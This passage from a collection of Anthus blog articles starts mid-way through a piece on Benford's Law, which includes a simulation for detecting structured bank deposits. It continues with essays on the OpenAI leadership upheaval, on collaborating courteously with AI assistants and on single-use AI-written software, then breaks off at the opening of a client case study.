  src="images/benfords-law/connecticut-school-attendance.png"
  layout="full"
  alt="The distribution of lead digits from school attendance counts."
}

## An astronomer makes a discovery.  About numbers.

Back in 1881, when the closest thing to a pocket calculator was a quick-witted accountant with a pencil, Simon Newcomb, an astronomer by trade, made a discovery that had nothing to do with stars but everything to do with digits.[@murtagh-2023-what-is-benford-s-law] Newcomb's lightbulb moment didn't strike while stargazing or deep in complex calculations. Instead, it happened as he leafed through a well-thumbed logarithmic table book. In the days before digital convenience, these tables were the bread and butter of calculation, sort of like an ancient Excel spreadsheet but without the fun of accidental cell misformatting.

::image{
  src="images/benfords-law/logarithm-table-book.png"
  layout="right"
  alt="Worn pages in a logarith table book."
}

What caught Newcomb's eye was the curious case of the weary pages. The early sections of the logarithm book, ==the pages with numbers starting with '1', showed signs of significant wear and tear==. It was as if these pages had run a marathon, while the latter pages looked barely out of the starting blocks. This wasn't just a case of page discrimination; it hinted at a numerical pattern. Newcomb theorized that numbers starting with '1' were not just the wallflowers of the numerical dance but were, in fact, the belle of the ball, getting picked far more often than their higher-digit counterparts.

Forming his hypothesis from this observation, Newcomb proposed that the first significant digit in many datasets is more likely to be '1' than any other number, with the chances diminishing as you count up to '9'.

It wasn't until 1938 that the idea gained widespread recognition, thanks to physicist Frank Benford. Benford expanded on Newcomb's observation, conducting a more thorough and extensive study covering a diverse range of datasets. He demonstrated that the first-digit distribution he observed closely matched Newcomb's earlier findings. Despite Newcomb's precedence, the law became known as Benford's Law due to his role in popularizing and formally documenting the phenomenon. 

## Okay, "some data"?

Let's look at a dataset where it doesn't happen.  Here are two charts of two different bank account balances.  Both grew over ten years from a principal of $10,000 to a final amount of $1,000,000.  One of them grew as a result of compounded interest on the principal.  The other grew in simple linear steps each month, ending up at the same point.

::image{
  src="images/benfords-law/linear-and-compound-interest-growth-curves.png"
  layout="full"
  alt="A linear growth rate and a compound-interest growth rate."
}

Suppose we do the same kind of analysis where we look at the breakdown of the first digits of the monthly bank balances in both accounts. In that case, we see Benford's Law reflected in the distribution of the compound interest, like in the natural datasets that we saw:

::image{
  src="images/benfords-law/compound_lead_digits.png"
  layout="full"
  alt="The lead-digit breakdown for a simulated compound interest growth rate."
}

But, look at the lead-digit distribution for the bank account balances in the account that grew linearly over time:

::image{
  src="images/benfords-law/linear_lead_digits.png"
  layout="full"
  alt="The lead-digit breakdown for a simulated linear growth rate."
}

One kind of growth rate shows the distribution described by Benford's Law, and the other doesn't.  Something that exponentially grows like an investment will show that kind of distribution. Someone regularly transferring money looks different.

Well, gosh, ==that sounds useful.==

## Applications

::image{
  src="images/benfords-law/tyler-easton-faixctm2YRQ-unsplash.png"
  layout="right"
  alt="Financial figures."
}

Benford's Law's predictions have powerful applications in financial forensics.  It predicts what financial numbers should 'naturally' look like, giving us a way to spot numbers that someone manipulated.  It gives financial auditors a tool to identify general ledger irregularities.[@nigrini-2022-using-benford-s-law-to-reveal]  Not all irregularities indicate fraud, but some do.

For example, money launderers trying to move money from one point to another without being detected will send money below specific amounts that trigger extra scrutiny.  A typical scenario might be a money launderer with $35,000 to transfer who wants to avoid a $10,000 limit that will trigger additional reporting.  They might break up their transactions into smaller chunks, like $9,500, $9,000, $8,500, and $8,000.  Benford's Law can spot that in the deposit records if you have enough data and it's happening often enough.

In other words, money laundering looks different than legitimate transactions.  It's like the numbers come with a ==built-in lie detector==.  Handy!

## Let's simulate money laundering!

Imagine that you're a financial regulator, and you're monitoring two banks.  You only have access to the total deposit amount for each day from each bank.  There are a thousand deposits daily at each bank that are below the $10,000 reporting threshold, but someone is slipping structured transactions through one of the banks.  Your job is to figure out which bank.

I made a Python notebook that simulates that.  It randomly generates a thousand transactions for each of 365 days, and then it adds up the transactions for each day.  We get a list that contains the total sums of deposits for each of the 365 days.  Here's the lead digit breakdown for that list of simulated daily deposit totals:

::image{
  src="images/benfords-law/simulated-bank-account-deposits---daily-sums.png"
  layout="full"
  alt="The lead-digit breakdown for the natural transactions scenario."
}

Now, we simulate a second scenario: One where someone makes structured deposits.  In the second scenario, we replace 1% of the natural transaction amounts with simulated structured transaction amounts.  Our simulation is simple: They all randomly range from $9,500 to $9,999.  We get another 365 daily sums, and here's the lead digit breakdown for that scenario:

::image{
  src="images/benfords-law/simulated-1%-structured-deposits---daily-sums.png"
  layout="full"
  alt="The lead-digit breakdown for the structured transactions scenario."
}

Does one of those distributions look "closer" to the distribution predicted by Benford's Law?  Well, I don't know, they look about the same to me.  Is there some way to measure it?

Yes!  Financial forensics commonly uses a few ways to measure the differences.  There's also one used a lot in AI.

### Chi-Square Test
The Chi-Square test is a measure used to determine how well an observed distribution of data fits an expected distribution.[@wikipedia-2023-chi-squared-test] In our case, we use it to compare the distribution of the first digits of our transaction data against the expected Benford's Law distribution.  We expect this number to be higher if the distribution varies more from the distribution predicted by Benford's Law.  Let's look at this statistic for both the simulated 'natural' transactions and the scenario with structured transactions buried inside:

::image{
  src="images/benfords-law/chi-square-statistic-comparison.png"
  layout="full"
  alt="The Chi-Square Statistic for both scenarios."
}

Wow, neat.  It is higher for the structured transactions.

We can see which bank has money launderers for customers!  They might not even know, but we can see it ==just by looking at the daily sums of deposits==, without seeing the individual transactions.  How cool!

### Kolmogorov-Smirnov (KS) Test

The Kolmogorov-Smirnov (KS) test is another metric that measures the difference between two distributions.[@wikipedia-2023-kolmogorov-smirnov-test]  Here's how the two scenarios compare:

::image{
  src="images/benfords-law/ks-statistic-for-benford's-law.png"
  layout="full"
  alt="Kolmogorov-Smirnov (KS) Statistic for both scenarios."
}

That one ==also shows== the money launderers varying significantly from the normal transactions!

### Kullback-Leibler (KL) Divergence

Kullback-Leibler is a loss measure that is used a lot in AI for things like RLHF evaluation,[@wikipedia-2023-kullback-leibler-divergence] so why not...

::image{
  src="images/benfords-law/kl-divergence-comparison.png"
  layout="full"
  alt="Kullback-Leibler (KL) Divergence for both scenarios."
}

Cool, right?  For all three measures, the scenario where ==just 1% of the transactions buried within an aggregate sum== scored higher than the simulated natural number dataset.  We can see that someone buried structured transactions in the data without seeing the individual transactions, only the daily summaries.

### Real-world example: Crypto fraud by FTX and Binance

A Forbes investigation recently produced evidence of wash-trading aimed at inflating the market price of Binance's BNB token.  One of the things that led them to the conclusion that FTX and Binance colluded to manipulate the crypto markets was, "there appears to be a lack of randomness to these flows that would likely be apparent if they were rooted market related economic activity."[@forbes-2023-did-ftx-secretly-help-binance-send]  And we know exactly what that sentence is talking about: The amounts on the transactions didn't correspond with the distribution predicted by Benford's Law.

## Other applications

Catching financial fraudsters is cool, but there are lots of other applications.  You can use Benford's Law to detect the JPEG quality setting that was used to encode an image, for example.  Using the JPEG coefficients from the luminance channel of already compressed JPEG images, and without using any machine learning, an algorithm can predict the quality setting used to encode the image nearly 90% of the time.[@crisan-2021-analyzing-benford-s-law-s-powerful]

## AI applications

AI is all about statistics, so it's relevant that there's a quirk of statistics where natural data looks different from fake data.

Data for training AI models is increasingly critical, and much of it lately is fake.  We use AI to generate training data for AI models because we don't want to feed real personally-identifying information and real financial data into the models.  So, we make up fake names and fake numbers when necessary.  The training data needs to be realistic.

::image{
  src="images/benfords-law/ciphering-numbers-2961283828065RtvT.jpg"
  layout="right"
  alt="Handwritten financial figures."
}

Researchers at Columbia University confirmed that if you train a handwriting recognition model using numbers corresponding to Benford's Law's predictions, the model will perform better at recognizing real-world handwritten financial numbers.

The researchers trained image-recognition models using training sets of handwritten numbers that were truly random, and others that expressed the distribution predicted by Benford's Law.  As hypothesized, the models trained on numbers where lower digits were more common lead digits were better at recognizing handwritten financial figures than the models trained on random handwritten numbers.[@mendez-2017-follow-the-leader]  Conversely, when the numbers were not financial figures, the models trained numbers with lower lead digits performed worse than the models trained on truly random strings of digits.

You can also apply Benford's Law to detecting AI-generated content. Researchers have explored using Benford's Law to detect GAN-generated images, which are often used to create deepfakes. By analyzing the distribution of the most significant digit for quantized Discrete Cosine Transform (DCT) coefficients, researchers can extract a compact feature vector from an image. If the distribution of these features deviates significantly from Benford's Law, it could indicate that the image is a deepfake. [@bonettini-2020-on-the-use-of-benford-s]  In this case, Benford's Law can be a valuable tool for detecting manipulated images and preventing the spread of misinformation.

We can imagine more applications in AI in the future.

## Why does Benford's Law work?

Let's see if we can find the answer in Rabbit Utopia, a safe and cozy place where the furry inhabitants never have to worry about lettuce rations.  Let's think about the population of Rabbit Utopia.  And specifically about the ==number of digits== of the population count.

We start with six rabbits in Generation 1, a simple one-digit figure. As we observe their growth, doubling each generation, the change in the number of digits tells a story.

By Generation 2, we've reached 12 rabbits, now a two-digit number.  This chart shows the number rising in value:

::image{src="images/benfords-law/linear_increase_plot_to_20.png" layout="full" alt="Linear growth to 20."}

As we cross into the next order of magnitude, the bucket of numbers that start with "1" is as big as the bucket of all the numbers that came before it.  If you were jogging along at a steady pace, then you would be cranking up in lead digits as you went from 7 to 8 to 9, but then you would be stuck in the 10s for as long as it took you to get here.

In terms of lead digits, the left side of this chart increases linearly: 1, 2, 3, 4, 5, 6...

But the right side of the chart is all "1" for a lead digit.  It doesn't change.

If you were counting up one by one then you would cover all of the lead digits.  But rabbits don't breed at a steady pace, they breed at an exponential rate.  Their population size jumps up at a rate that mirrors the logarithmic increase in the number of digits of the population count number.

::image{
  src="images/benfords-law/logarithmic_increase_plot_to_20.png"
  layout="full"
  alt="Exponential growth to 20."
}

By Generation 6, the population hits 192, marking our first transition to a three-digit number. We skipped a lot of lead digits in the two-digit numbers, but yet again, we're stuck in the low-lead-digit numbers since there are as many three-digit numbers starting with "1" as there were numbers before us.  When we cross to this next order of magnitude, we're still at the lower end of it.  Since the bucket of three-digit numbers that starts with "1" is as big as the bucket of all the numbers that came before it.

::image{src="images/benfords-law/linear_increase_plot_200.png" layout="full" alt="Linear growth to 200."}

::image{
  src="images/benfords-law/logarithmic_increase_plot_200.png"
  layout="full"
  alt="Exponential growth to 200."
}

Let's take a look at the relationship between the population value and the ==number of digits== in the population count, all the way up to 2,000, a four-digit number:

::image{src="images/benfords-law/linear_increase_plot.png" layout="full" alt="Linear growth to 2,000."}

The chart shows the numbers increasing linearly: 1, 2, 3, 4, 5, etc.  That's the blue line.  The dots represent the rabbit population counts at each generation: 6, 12, 48, 96, 192...

Notice how the dots are packed together on the left side but then they spread out.  They don't follow the linear increase of simply counting up from 1.  The rabbit population counts increase in a different way: Each new number depends on the previous number.  That's the special factor that has to be present for Benford's Law to apply.

Now, instead of looking at the actual values of the numbers as we count up from 1 to 2,000, let's look at the number of digits in the number.  At first, you're at one-digit numbers.  At 10, you have hit two-digit numbers.  That digit count is the Y axis on this chart, going up to 4 for 2,000, which is a four-digit number.

::image{
  src="images/benfords-law/logarithmic_increase_plot.png"
  layout="full"
  alt="Logarithmic growth in number of digits to 2,000."
}

See the point where the rabbit population goes from 768 to 1,536?  That's an order-of magnitude jump in population, meaning that the population count has gained a digit.  But look at what happens to the lead digit when that happens: From 100 to 1000, the lead digit was going up and up.  But there's as much space on the right side of that chart, above 1000, where the lead digit is a "1" as in the entire left side of the chart, when the lead digit was increasing.  Suddenly, the lead digit is thrown back down to the low digits.  And because everything is at a greater scale now at this new four-digit magnitude, there's a lot more horizontal space between lead digit changes now.

That's the essence of Benford's Law: Exponential growth patterns increase in a way that tracks the way that the number of digits increases.  Types of growth that don't build on the previous value don't.  Natural processes like investments and rabbit populations grow in ways that depend on the previous value.

Another interesting thing about Benford's Law: You ==don't really have to understand why it happens== to understand how to use it.  So, don't worry too much if you didn't follow the math.

## Conclusion

Benford's Law, with its ==unique insight into aggregate data==, already plays a role in various applications, from fraud detection to financial analysis. However, its potential extends further, particularly in shaping the future of AI.

One intriguing application lies in crafting datasets for training AI models. By ensuring these datasets adhere to Benford's Law, we could enhance the realism and reliability of the training process, leading to more robust and accurate AI models. Benford's Law could be used in areas like evaluation metrics in AI, offering a novel lens to assess the authenticity and accuracy of AI-generated data.

While its current applications are well-established, the future might see Benford's Law becoming a ==part of the AI toolkit==, guiding both the development and evaluation of AI models in various fields. This exploration could pave the way for AI systems that resonate more deeply with the patterns found in natural data.

## Lab

Don't take my word for it.  ==You can reproduce all of my findings and visuals== from this article with Python notebooks on Google Collab, in this [GitHub repository](https://github.com/Anth-us/Benfords-Law-article).

::image{
  src="images/benfords-law/Google-Collab-lab.png"
  layout="full"
  alt="Reproducible Google Collab lab about Benford's Law."
}

### Data.gov datasets

You can download datasets from [Data.gov](https://data.gov) to Collab and do your own lead-digit analysis with this notebook: [Benford's Law Demo](https://colab.research.google.com/drive/1NnENSOTvp-7ts_f2Oj9AwUEYummD--YD?usp=sharing), or see it [on GitHub](https://github.com/Anth-us/Benfords-Law-article/blob/main/Benfords_Law_demo.ipynb).

==Play with it==: Find your own datasets and try it.  Find any dataset that you think might work and copy the CSV download link to the notebook.  Download the file yourself and look at it to find the column name of the column that you think might demonstrate a distribution that follows the prediction from Benford's Law.

### Money laundering simulation

You can use the notebook for the [structured-transaction simulation](https://colab.research.google.com/drive/1MV45hNw86qe6GUnTtCsnKxcXMwocsTfg?usp=sharing) to reproduce my findings.  Run the simulation a few times and look at the different values that you get for the three different measures of how the actual distribution varies from the Benford's Law predicted distribution for the two different scenarios.  ==Random numbers are random==: The statistics won't always magically detect every money launderer.  Sometimes they'll even go backwards.  Random!

Then, ==change the parameters==.  Instead of a thousand transactions per day, lower it to 100.  Lower the percentage of structured transactions.  How low can you go before the differing lead-digit distributions are imperceptible in terms of how they correspond with the Benford's Law predictions?  If you increase the number of structured transactions then does it enhance the distinction?

## References

::citations{format="apa"}

---

# How Does the Drama at OpenAI Affect You?

> In a world with no moats, don't get too invested in any given castle.

By [Ryan Porter](https://anth.us/ryan), [and the Anthus GPT](https://chat.openai.com/g/g-MA4ZbLQBi-assistant-alpha) · Published 2023-11-20 · Updated 2023-11-23

Canonical: https://anth.us/articles/a-world-with-no-moats/

::image{
  src="images/the-revolution-will-be-commodified.png"
  layout="right"
  alt="THE REVOLUTION WILL BE COMMODIFIED"
}

In the late 1980s and early 1990s, Microsoft's operating systems stood unchallenged, wrapped in a mystique of secrecy. The company's "Fear, Uncertainty, and Doubt" marketing strategy implied that Windows had exclusive, magical capabilities necessary for computing — ==alternatives barely even existed== because Microsoft had convinced most people there weren't any worth considering. They said the code stayed closed and secret for our protection: hackers couldn't exploit what they couldn't see. But security doesn't work that way. It was for Microsoft's protection, not ours.

A revelation came from a college student half a world away who introduced Linux after reading the classic university textbook on operating systems. This open-source operating system peeled back the layers of secrecy. Anyone could read the Linux source code to see how it worked, ==challenging the perception that Windows was doing something magical== under the hood. The openness revealed that Microsoft kept its operating system closed to maintain fear, uncertainty, and doubt rather than to preserve trade secrets.

Microsoft felt profound effects from losing its aura: The startup community embraced Linux, which became the basis for the cloud computing revolution. Microsoft is still trying to catch up—even their own cloud computing service [runs more](https://w3techs.com/technologies/comparison/os-linux,os-windows) Linux virtual computers than Windows.

## OpenAI's illusory mystique

Like Microsoft in the early days of personal computing, OpenAI initially led the way in generative AI with releases like ChatGPT and GPT-4, quickly becoming a dominant force. Part of their allure was their unique governance model, where a non-profit ostensibly guided their path, lending an ==aura of altruism and innovation.== This mystique encouraged customers to accept a degree of vendor lock-in, bypassing the AI applications industry's best-practice recommendation of thoroughly evaluating AI options before committing.

And, like Microsoft, OpenAI found self-serving justifications to reverse their original "Open AI" mission and keep their work closed and secret: They were [saving the world](https://www.technologyreview.com/2020/02/17/844721/ai-openai-moonshot-elon-musk-sam-altman-greg-brockman-messy-secretive-reality/) with their "capped profit" structure, and revealing their secret sauce to the world [would endanger humanity](https://www.theverge.com/2023/3/15/23640180/openai-gpt-4-launch-closed-research-ilya-sutskever-interview).

But the recent upheaval ==vaporized this mystique within one bizarre hour.== Microsoft's market value tumbled by about fifty billion dollars because of the OpenAI board's inept timing in announcing Sam Altman's firing before markets closed. The dramatic leadership changes exposed OpenAI's unique governance structure as a liability rather than a strength, introducing instability and unpredictability. A mission that doesn't prioritize business continuity doesn't make for a good business partner.

Mira Murati's [employee letter](https://www.nytimes.com/interactive/2023/11/20/technology/letter-to-the-open-ai-board.html) to OpenAI's board included a jarring accusation: "You also informed the leadership team that allowing the company to be destroyed 'would be consistent with the mission.'" This stark statement reveals a willingness by the board to potentially sacrifice the company's existence in pursuit of their broader mission, raising serious doubts about OpenAI's commitment to stability and ongoing service reliability for its users.

For OpenAI customers like Anthus, this creates real uncertainty. ==OpenAI's mission doesn't align with the interests of any business.== The board's willingness to jeopardize the future of its employees, partners, and customers casts doubt on the long-term viability of anything built on the OpenAI API.

## The 'no moats' revelation

The leaked memo *[We Have No Moat, And Neither Does OpenAI](https://www.semianalysis.com/p/google-we-have-no-moat-and-neither)* from an anonymous Google researcher insightfully predicted the volatility and shifting dominance in the AI industry, emphasizing the rapid advancements in the open-source sector. This scenario mirrors the earlier computing era when Linus Torvalds' Linux challenged Microsoft's dominance by demystifying operating systems, akin to how open-source AI is currently reshaping generative AI.

Ironically, Microsoft, once the victim of mystique vaporization, now stood to benefit from the dissolution of OpenAI's aura. The pieces and players shift in this game, making today's underdog tomorrow's contender.

## Implications for the future of AI

The Linux story teaches us that transparency, democratization, and community-driven development can lead to robust, versatile technologies. Applying these principles to AI promises a future where the field is collaborative, evolving, and accessible to all. This open ecosystem could lead to more secure, diverse, and innovative AI applications, like how Linux transformed the software industry.

## How should we respond?

The OpenAI debacle was a wake-up call for everyone who depends on AI to reassess their strategies, not just who to trust.

### As an individual

Our emphasis on prioritizing solutions over tools means continuously exploring and understanding a broad range of AI technologies and approaches. It's about being agile and adaptable, ready to adopt the most effective solutions as the AI landscape evolves.

### As an organization

Organizations must foster a culture of flexibility and innovation, adopting AI governance policies emphasizing the importance of evaluating alternative AI solutions regularly and continuously. This approach ensures that your organization remains adaptable and ready to embrace the constantly evolving AI landscape.

## Our plan: Commodify AI services

Our initial experience with generative AI via OpenAI was exhilarating. Quickly, their API services became our go-to solution. But that created a dependency we hadn't meant to build, and we stopped evaluating alternatives as often as we should have.

We're a lot more aware now of whether specific tasks require an AI API service or if we could do it better with open-source models and tools like HuggingFace libraries. If we want to deliver an affordable, secure, and dependable system for business automation, like spotting GDPR forget-me requests in emails, then we could use the OpenAI API. It would be easy, and it would work. But why would we want to pay to send thousands of requests to any third party if we could do it ourselves? Much less a third party like OpenAI that seems conflicted about its own values?

The OpenAI debacle has solidified one of our [core values](/about/#our-values): to commodify AI models and services, treating them as interchangeable tools rather than proprietary solutions. This shift towards a more independent and versatile approach is not merely about cost-savings or information security: It's about staying ahead in a quickly-changing game, where choosing sides among the giants is not the path to stability. In a world with no moats, don't get too invested in any given castle.

## What's Your Plan?

What's your next move in this ever-changing game of AI?

---

# People Skills Are Vital For Leveraging Artificial People

> Mastering AI in the workplace goes beyond tech savvy; it's about the strategic use of empathy, respect, and collaboration.

By [Ryan Porter](https://anth.us/ryan), [and the Anthus GPT](https://chat.openai.com/g/g-MA4ZbLQBi-assistant-alpha) · Published 2023-11-14

Canonical: https://anth.us/articles/people-skills-are-vital-for-leveraging-artificial-people/

In today's world, where artificial intelligence handles complex tasks, what actually matters is the ability to collaborate with these digital minds. People skills, often undervalued in tech in the past, are now crucial to getting the most out of AI. Communication, empathy, and collaboration with AI turn it from a mere tool into a dynamic partner in problem-solving.

## Two Different Approaches: Alice and Bob

::image{src="images/alice.png" layout="right" alt="Alice, a technical genius with poor people skills."}

Alice, a technical expert, approaches intelligent systems with a focus on precision and efficiency. Her solutions are technically sound but sometimes miss the broader context of business needs. Alice's interactions with AI are more transactional, focusing on extracting code rather than engaging in a deeper dialogue.

Bob, while not as technically inclined as Alice, brings a different strength to the table – his ability to connect with people. He sees intelligent systems ==not just as tools, but as partners in problem-solving.== Bob's approach extends beyond the technical capabilities of AI, integrating these tools into a broader, human-centric problem-solving process.

### Alice's Robotic Approach:

Picture Alice in her high-tech workspace, surrounded by blinking screens and buzzing gadgets. When faced with a challenging task, she turns to her AI assistant – not with a greeting, but with rapid-fire commands, as if speaking to a highly efficient robot. The AI, programmed to respond, churns out code and data, but the interaction is cold, mechanical. It's like watching a sci-fi movie where ==the human connects with machines on a purely functional level==, missing the warmth of human interaction.

### Bob's Collaborative AI Teammate:

::image{src="images/bob.png" layout="right" alt="Bob, a guy who really knows how to talk with a computer."}

Imagine Bob in a colorful, vibrant office, his AI assistant on the screen looking almost like a cartoon character. Bob starts his conversation with a friendly "Good morning!" as if the AI were an old friend. They discuss tasks, with Bob considering the AI's suggestions and even jokingly debating options. It's a ==lively, collaborative process==, reminiscent of a scene from an animated film where the human and AI sidekick solve problems with a mix of humor and teamwork.

## The Spectrum of 'People Skills' in AI Collaboration

People skills, a crucial subset of soft skills, play a vital role in enhancing AI collaboration. These skills not only improve human interactions but also profoundly impact how we engage with and leverage artificial intelligence.

**Clear Communication:** While Alice communicates with AI in a precise, code-like manner, Bob uses a more nuanced and expressive human language. This difference is crucial when interacting with generative language models, where the richness of human language can elicit more insightful and aligned responses from the AI.

**Openness:** Alice's one-way communication style limits the potential of AI interactions to her own predefined objectives. Bob, conversely, maintains a two-way dialogue with AI, ==treating it as a source of new insights and ideas.== His openness to AI's suggestions leads to more innovative and comprehensive solutions.

**Common Goals:** Alice's independent work style, often isolated in her cubicle, can lead to misalignment with broader business objectives. In contrast, Bob's experience in building consensus among human team members translates effectively to his work with AI. By ensuring buy-in and aligning AI solutions with team goals, Bob's approach leads to outcomes that resonate more with overall business value.

**Leveraging Diverse Capabilities:** Alice often views herself as the primary source of ideas. Bob recognizes AI as a distinct contributor with unique capabilities, complementing the human team's skills. This approach leads to a richer, more effective problem-solving process.

**Empathy:** Alice's limited empathy affects her interactions with both humans and AI, missing out on valuable insights. Bob's empathetic approach allows him to understand and appreciate the nuances in AI responses, extracting deeper insights and creating solutions attuned to human needs and experiences.

**Patience:** While Alice's efficiency-driven approach with AI can miss subtler insights, Bob's patience – a cornerstone of effective human interaction – greatly enhances his AI collaborations. He understands that, just as with human colleagues, ==patience in listening and engaging with AI can unveil deeper understandings and novel ideas==, facilitating a more fruitful exchange and innovative outcomes.

These 'people skills' are not just advantageous in human interactions but are also critical in working with intelligent systems. They shape not only the technical solutions developed but also influence the team dynamics and corporate culture, underscoring their importance in the modern business environment.

## Applying Collaboration Skills in AI-Driven Business Environments

Incorporating people skills into AI workflows enhances more than just technical outcomes; it ==fosters a positive work culture== characterized by respect, collaboration, and inclusivity. This approach leads to insightful solutions by viewing technology as a collaborative ally and valuing diverse contributions.

The goal of cultivating a respectful workplace culture extends to AI interactions, but some workplaces exhibit the opposite, with team members habitually barking orders and abusing AI. This behavior is a glaring red flag, indicating a neglect of civility and a lack of professionalism that can erode the workplace culture.

In contrast, Bob's approach, which integrates crucial people skills with AI collaboration, is exemplary in business settings. He ensures solutions are technically viable and aligned with team and business values. By treating AI as a collaborative partner and fostering a positive work culture, Bob's approach leads to outcomes that deeply resonate with both technical requirements and strategic business objectives.

## Leveraging Artificial Intelligence Humanely

The fusion of technical skills and a broad range of emotional intelligence skills, including patience and openness, creates a balanced and effective interaction in AI collaboration. This approach doesn't just coexist technology with human skills; it enhances them, fostering solutions that are technically sound and deeply aligned with broader business goals and human values. Emphasizing AI as an integral part of the team contributes to a healthy, productive, and forward-thinking business environment, showcasing the vital role of human insight in leveraging artificial intelligence.

---

# The Rise of Single-Use Software

> An AI-driven transformation is reshaping software development by solving individual problems with software solutions built just-in-time for a single purpose, in contrast with the traditional model of solving problems using general-purpose software applications built in advance.

By [Ryan Porter](https://anth.us/ryan), [and the Anthus GPT](https://chat.openai.com/g/g-MA4ZbLQBi-assistant-alpha) · Published 2023-10-29

Canonical: https://anth.us/articles/the-rise-of-single-use-software/

::image{src="images/under-pressure.png" layout="right" alt="Under pressure!"}

It was one of those late nights where everything seemed under control until it wasn't. Our order-processing system, vital for night-time nightclub ticket sales, hit an unexpected snag. I had tools at my disposal. But this problem was unique, demanding a solution our pre-built tools couldn't immediately provide.

It was in those early days of ChatGPT when we were all discovering what it could do. In that moment, I was confronted with a choice: dive into a high-pressure coding frenzy or try something new.

The solution ChatGPT provided was a bespoke Ruby script, elegantly simple and perfectly suited to our specific problem.  I ran the script once to fix the problem ==and then I threw it away.==

## You aren't going to need it

This incident was a practical lesson in the ==YAGNI principle — an acronym that stands for 'You Aren't Gonna Need It.'== It's a bit like buying a bunch of bananas when you only ever eat apples; why stockpile something you're unlikely to use? ==YAGNI teaches us to create software features only when they're necessary==, rather than investing in them 'just in case.'

That night, combined with the new coding capabilities of generative AI, I realized something bigger was happening. It's no longer just about the apps or tools we build in anticipation of problems. The YAGNI principle, now turbocharged by AI, leads to a new principle: ==Focus on solutions, not on tools.== It's about being agile and responsive, crafting solutions in real-time as challenges arise. And, crucially for professional software developers, ==it will change how the market values software projects.== It will also ==reduce demand for developers to invest value in big software projects.==

## Ephemeral solutions empower individuals

::image{
  src="images/ephemeral-software-solutions.png"
  layout="right"
  alt="Each software solution can be a unique snowflake."
}

ChatGPT's "Advanced Data Analysis" and traditional tools like Excel represent distinct paths in the realm of data analysis. Picture a common task: you have a CSV file with sales data and your goal is to calculate aggregate revenue over various time periods. Using Excel, your journey involves leveraging spreadsheet expertise to filter and compile the data.

There's an alternative though. Input that CSV into ChatGPT. Observe as it effortlessly crafts Python code, ==a bespoke solution engineered for your unique task.== This approach bypasses the rigmarole of maintaining and updating code. It's a use-and-discard strategy, a transient yet effective solution in the fast-paced world of data analysis.

The debate between Excel and ChatGPT isn't about supremacy. There's a time and a place for each of the two ways. But the costs of those ways are different: Excel demands a significant investment in learning and mastery, while AI-driven alternatives like ChatGPT offer a more direct route. They allow individuals to ==concentrate on the problem at hand rather than the intricacies of the tool== used.  An obvious win when your goal is to solve a problem.

## Ephemeral solutions drive organizational efficiency

In the world of technology and business, the YAGNI (You Aren't Gonna Need It) principle has traditionally guided software development, advocating for creating only what's necessary at the moment. But what if we extend this principle beyond code, applying it to the very infrastructure and tools that businesses rely on? The YAGNI principle is revolutionizing not just software development but also the broader landscape of business investments in both hardware and software.

### Cloud Computing: Just-in-time computer hardware expenses

Imagine running a business that relies on powerful computers to operate.  Before the cloud computing revolution, you had to buy these computers in advance and ==accept the total cost of ownership==.  It's similar to purchasing a car – you pay a large sum upfront, ==even if you might not use it== to its full capacity every day.  And the sticker price is never the full price of owning and maintaining the car for years.  In the technology world, this upfront investment is known as "Capital Expenditure," or CAPEX.

Now, think about cloud computing.  It's like renting a car when you need it: Instead of owning and maintaining computers, ==you only pay for the computing power you use when you need it.==  This model is called "Operating Expenditure," or OPEX.  It's been said that =="cloud computing" simply means "someone else's computer,"== and that's really the whole point: ==You don't have to own the computer to use it.==

### Ephemeral solutions are just-in-time development expenses

In the high-stakes world of business software investments, one of the most daunting challenges has always been accurately predicting utilization. ==How much will we really use this?== Is the commitment to an annual license from giants like Salesforce or Oracle justified by actual need? These questions have traditionally left business leaders in a quandary, often resulting in costly gambles on features or products that may see limited use.

Generative AI is emerging as a powerful ally in addressing this utilization estimation problem. By shifting the focus to creating single-use, just-in-time software tools, it allows businesses to bypass the risky bets associated with heavy software development projects or long-term licensing commitments.

With this AI-driven approach, companies ==won't need to overcommit== to large-scale software projects or pricey annual licenses, basing their decisions on uncertain usage forecasts. Instead, they'll be able to adopt a more flexible strategy, generating specific solutions precisely when needed. This adaptability significantly lowers the risk of overinvestment in underutilized software features or products.

By mirroring the CAPEX-to-OPEX shift seen in cloud computing, generative AI gives businesses ==a paradigm shift towards greater business agility==: staying nimble, investing in tailor-made tools on an as-needed basis, and making sure every software investment corresponds to a real, immediate need.

## Cloud computing did this for hardware. AI is doing it for software.

Cloud computing opened doors to computing power for everyone from small businesses to individuals, breaking down the monopoly of large corporations. That same shift is now unfolding in software. Smaller teams and individual entrepreneurs are harnessing AI-driven tools for business innovation, bypassing the hefty financial burdens of traditional software development. This change enables a diverse group of innovators to undertake ==projects that were once financially out of reach.==

## Rethinking Applications: Adapting to On-Demand Solutions

As computers get better at providing solutions on demand, the role of traditional operating systems and applications invites reconsideration.

Consider the implications if tools like ChatGPT and its advanced data analysis were available during your initial forays into Excel. ==Would you have bothered to learn how to work with Excel formulas or pivot tables?==

## Conclusion: Solutions Over Tools

We're part of a shift in business software investment that echoes what cloud computing did for hardware. The guiding principle is clear: ==focus on solutions, not tools.== Custom-fit, on-demand solutions are becoming the standard, and that's not just about access to technology — it's about making software investment track more closely with what people and businesses actually need.

---

# Call Criteria

> Call Criteria scored call-center QA with custom fine-tuned LLM classifiers run by an outside service. It worked, but the vendor was too expensive and too slow to scale to every new scorecard, and they wanted control. We built them an in-house classifier lab on Primus in their own AWS account and op…

By [Ryan Porter](https://anth.us/ryan), [Derek Norrbom](https://www.linkedin.com/in/dereknorrbom/) · Published 2023-10-01

Canonical: https://anth.us/articles/call-criteria/

## A working system they couldn't scale

Call Criteria runs quality assurance for call centers: human experts listen to calls and score them against detailed scorecards, one scorecard per client. By 2023 they'd already put AI on the problem. An outside scoring service ran custom fine-tuned LLM classifiers against their calls, and it worked. It just couldn't grow with them. Every new scorecard meant another round of coordinating changes, evaluating them, and getting them deployed through an outside relationship, and each round was slow and expensive. Scaling to every client meant either paying the vendor's price on every scorecard or waiting in the vendor's queue. They wanted the technology in their own hands.

## The choice

They came to us with one ask: bring it in-house so they could scale it up, and take control of what it cost and how fast it moved.

We built them an in-house classifier lab on [Primus](/platform/primus), our MLOps platform, deployed in their own AWS account so the models, the data, and the record belonged to them. Then we operated it for them, for years. A classifier lab is a running thing, and the value comes from running it well month after month.

## Measuring the right thing

